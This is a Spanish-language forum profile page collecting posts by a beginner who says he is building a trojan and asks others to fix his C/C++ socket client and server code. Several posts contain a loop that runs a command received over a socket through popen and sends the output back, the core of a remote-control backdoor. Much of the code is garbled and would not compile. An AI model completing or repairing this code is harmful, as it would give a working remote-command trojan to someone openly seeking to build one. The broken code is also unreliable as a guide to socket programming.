Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - TheSaint

#1

Muchas gracias, ya he corregido el error, gracias por tu aportacion. <3

#2

De verdad muchas gracias yo lo unico que quiero es entender al 100% el codigo, y para eso os pido ayuda, tambien investigo mucho sobre los sockets y todo, lo intento arreglar solo, pero mis conocimientos son muy basicos, ya que nunca he tenido nadie quien me enseñe nada, ni he tomado ningun curso, solo cursos online de cpp y python y investigar sobre penetracion. Bueno aqui os dejo el codigo bastante mas modificado que el anterior.

El primer codigo seria el cliente y el segudo seria el servidor. Quiero añadirle muchas cosas para que se parezca lo mejor possible a un troyano, voy a tener este proyecto activo durante mucho para acabar de redondearlo, y perfecionarlo bastante ya que quiero que sea un proyecto muy bueno.


Muchas gracias por vuestra ayuda de verdad se agradece mucho <3.



Código: php


#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define port 9200
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int socketfd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((socketfd=socket(PF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = PF_INET;
   server.sin_port = htons(port);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

if(connect(socketfd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(socketfd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(sockfd);   /* cerramos fd =) */

}


Código: php


/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define port 9200 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */
int main()
{
    int socket(int PF_INET, int SOCK_STREAM, int protocol = 0);

   int sockfd; /* los ficheros descriptores */
   int socketfd2;


   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((sockfd=socket(PF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = PF_INET;         

   server.sin_port = htons(port);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(sockfd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(sockfd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((socketfd2 = accept(sockfd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) ); T
      /* que mostrará la IP del cliente */

      send(socketfd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
      system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];

   string resultado = "";


   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   close(socket);
   //Llamar nuevamente a la función
   main();
  }
}



     close(socketfd2); /* cierra fd2 */
   
}
#3

Vale chicos ya lo he endcontrado, aqui debajo os lo dejo muchas gracias.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4

Buenas, he probado de poner el ; en el codigo pero mi compilador me da mas errorres, es decir que el ; no hace falta al ser un define o eso creo, trabajo con visual studio code en linux, nose si eso es un problema a la hora de codficar.
En dudas generales y en el apartado de mi troyano, podreis ir al link i ver las imagenes las cuales salen los errores


Muchas gracias.
#5

Lo siento soy nuevo en este foro, nose como se hace para colgar fotos, he divagado por el foro y me sale que tengo que ir a una pagina y colgar las fotos ahi, despues pasar el link, pero nose, no me funciona, voy ha hacer una prueba por aqui a ver si la veis o no ok ? Lo siento mucho de verdad.







#6

Buenos dias Frijolito,

No tengo mucha experiencia en programacion, mejor dicho me estoy iniciando en esto, pero entiedo lo basico, bueno he visto tu codigo, nose ni con que codificas o como la haces, pero probablemente sea por el compilador o en la aplicacion la cual programas si no esta actualizada o otra cosa, he puesto en mi compliador y no me da errores, los consejos que te puedo dar es que revises e actualices el compilador, que revises las librerias, y tambien revisa la configuracion o que el archivo al cual quieres leerlo e modificarlo este  bien configurado, tb puede ser que tengas que espicificar la ruta del archivo al cual quieras leer e modificar o simplemente ponero en la misma carpeta, ya te digo que no soy ningun experto en esto, pero solo intento ayudar, tb en esto de la programacion tienes que investigar y ser muy cabezudo en acabar tu proyecto, intenta buscar e investigar sobre tu problema.

Mucha suerte con tu proyecto <3

#7

Hola chic@s,

Muchas gracias por daros la molestia de responder a mis posts, enserio, veo que tengo que trabajar mas en los puertos, pero si os fijais en mi codigo faltan cosas o almenos en mi compliador me detecta errores y me cuesta solucionarlos, poco a poco iré entendiendo e investigando, pero si os estais aburriendo o os apetece contestar perfecto, pero sino ni os inmuteis en mi "proyecto"


Muchas Gracias por vuestro tiempo y vuestra atención.
#8

Buenas gente, su puede ser, si alguien sabe algo mas puede deciremelo, me refiero a que no se acabe el hilo que si podeis aportar algo, sin dudarlo, escribirlo porfavor <3
#9
Muchas gracias,

te lo agradezco mucho por tus aportaciones y consejos, es genial poder tener una comunidad asi <3
#10
Muy Buenas Señores,

Estoy creando e informandome sobre troyanos i sockets, pero aun me faltan algunos conocimientos, necessito que alguien me ayude con mis codigos, alguien puede ayudarme porfavor??

este son los codigos:
el servidor ( en este caso e atacante )
Código: php
/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8080 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */

int main()
{
    int socket(int /*DOMAIN*/,int SOCK_STREAM,int /*Protocol*/);

   int fd, fd2; /* los ficheros descriptores */

   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = AF_INET;         

   server.sin_port = htons(PORT);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(fd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(fd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((fd2 = accept(fd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) );
      /* que mostrará la IP del cliente */

      send(fd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
   system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];
   string resultado = "";
   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   closesocket(sock);
   //Llamar nuevamente a la función
   main();
  }
}



      exit(fd2); /* cierra fd2 */
   }
}



y este es el codigo de el cliente ( en este caso la victima )

Código: php
#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define PORT 8080
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int fd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(fd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(fd);   /* cerramos fd =) */

}






Espero que me podais ayudar porfavor, Muchas gracias por vuestra atención.
#11
Hola Buenas, he estado investigando sobre los troyanos y la manera en que funcionan, y estoy creando uno, el problema es que las librerias y el codigo siempre me da error al compliarlo alguien me podria ayudar con el codigo ???

este es el codigo
Código: php

#include<iostream>
#include <cstdlib>
#include <winsock2.h>
#include <windows.h>



using namespace std;



int main(){

//LE INDICAMOS EL LOCALHOST
char * host ="localhost";
//LE INDICAMOS EL PUERTO
int port = 8080
/* Estructura de datos con información del winsock */
__MINGW_WSADATA_H;
/* Estructura de datos para especificar un servidor local o remoto para conectar un socket */
SOCKADDR_IN server;
/* Objeto que permite establecer conexiones locales o remotas e intercambiar datos */
SOCKET s, open_socket;
/* Inicializar winsock, comprobar versión 2.2 */
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
  cout << "Error: " << WSAGetLastError() << endl;                       
}
else
{
     
cout << "Inicializando ... " << endl;

/* Crear un socket */
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
  cout << "No se pudo crear el socket: " << WSAGetLastError() << endl;       
}
else /* Se ha creado el socket */
{
     
cout << "Socket creado correctamente ... " << endl;

                       




















return 0;
}



Muchas Gracias por tu atención.